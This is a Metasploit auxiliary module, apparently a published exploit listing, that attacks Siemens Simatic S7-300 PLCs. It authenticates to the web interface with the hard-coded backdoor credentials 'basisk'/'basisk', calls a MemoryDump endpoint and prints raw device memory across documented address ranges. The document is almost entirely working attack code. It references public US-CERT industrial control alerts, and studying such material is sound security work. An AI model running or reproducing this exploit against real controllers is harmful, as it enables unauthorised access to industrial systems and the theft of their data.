Siemens Simatic S7-300 PLC Remote Memory Viewer

`# Exploit Title: Siemens Simatic S7 300 Remote Memory Viewer Backdoor  
# Date: 7-13-2012  
# Exploit Author: Dillon Beresford  
# Vendor Homepage: http://www.siemens.com/  
# Tested on: Siemens Simatic S7-1200 PLC  
# CVE : None  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Auxiliary  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Auxiliary::Scanner  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Siemens Simatic S7-300 PLC Remote Memory Viewer',  
'Description' => %q{ This module attempts to authenticate using a hard-coded backdoor password in  
the Simatic S7-300 PLC and dumps the device memory using system commands.  
Mode: Values 8, 16 or 32 bit access  
Valid address areas are:  
80000000 - 81FFFFFF SD-Ram cached  
A0000000 - A1FFFFFF SD-Ram uncached  
A8000000 - A87FFFFF Norflash  
AFC00000 - AFC7FFFF ED-Ram int. uncached  
BFE00000 - BFEFFFFD COM-ED-Ram ext.  
C0000000 - C007FFFF ED-Ram int. cached  
D0000000 - D0005FFF Scratchpad data int.  
D4000000 - D4005FFF Scratchpad code int.  
F0100000 - F018FFFF SPS-Asic 16-Bit access only  
},  
'Author' => 'Dillon Beresford',  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'URL', 'http://www.us-cert.gov/control_systems/pdf/ICS-ALERT-11-204-01%20S7-300_S7-400.pdf' ],  
[ 'URL', 'http://www.us-cert.gov/control_systems/pdf/ICS-ALERT-11-186-01.pdf' ],  
[ 'URL', 'http://www.us-cert.gov/control_systems/pdf/ICS-ALERT-11-161-01.pdf' ],  
],  
'Version' => '$Revision$',  
'DisclosureDate' => 'June 2011'  
))  
register_options(  
[  
Opt::RPORT(8080),  
OptString.new('USER', [ true, 'Simatic S7-300 hardcoded username.', 'basisk']),  
OptString.new('PASS', [ true, 'Simatic S7-300 hardcoded password.', 'basisk']),  
OptString.new('MODE', [ true, 'Memory Read Mode (8-bit, 16-bit, 32-bit)', '32']),  
OptString.new('HEX', [ true, 'Simatic S7-300 memory offset', '1']),  
OptString.new('OFFSET', [ true, 'Simatic S7-300 memory offset']),  
OptString.new('LENGTH', [ true, 'Memory Dump Length in Bits', '256'])  
], self.class)  
end  
  
def run_host(ip)  
  
begin  
user = datastore['USER']  
pass = datastore['PASS']  
  
print_status("Attempting to connect to #{rhost}:#{rport}")  
len = '1024'  
login = send_request_raw(  
{  
'method' => 'GET',  
'uri' => "/login?User="+user+"&Password="+pass  
})  
  
  
if (login)  
  
request = send_request_raw(  
{  
'method' => 'GET',  
'uri' => "/tools/MemoryDump?Address="+datastore['OFFSET']+"&"+"Hex="+datastore['HEX']+"&"+"Length="+datastore['LENGTH']+"&Mode="+ datastore['MODE']  
})  
if (request and request.code == 200)  
  
print_good("Success! Dumping Memory on #{rhost} \r\n\n#{request.body}")  
elsif (request and request.code)  
print_error("Attempt #HTTP error #{request.code} on #{rhost}")  
end  
end  
  
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout  
rescue ::Timeout::Error, ::Errno::EPIPE  
rescue ::LocalJumpError  
end  
end  
end  
  
`